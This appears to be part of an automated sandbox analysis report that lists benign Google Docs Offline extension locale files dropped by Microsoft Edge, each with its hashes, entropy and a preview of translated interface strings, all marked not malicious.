Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
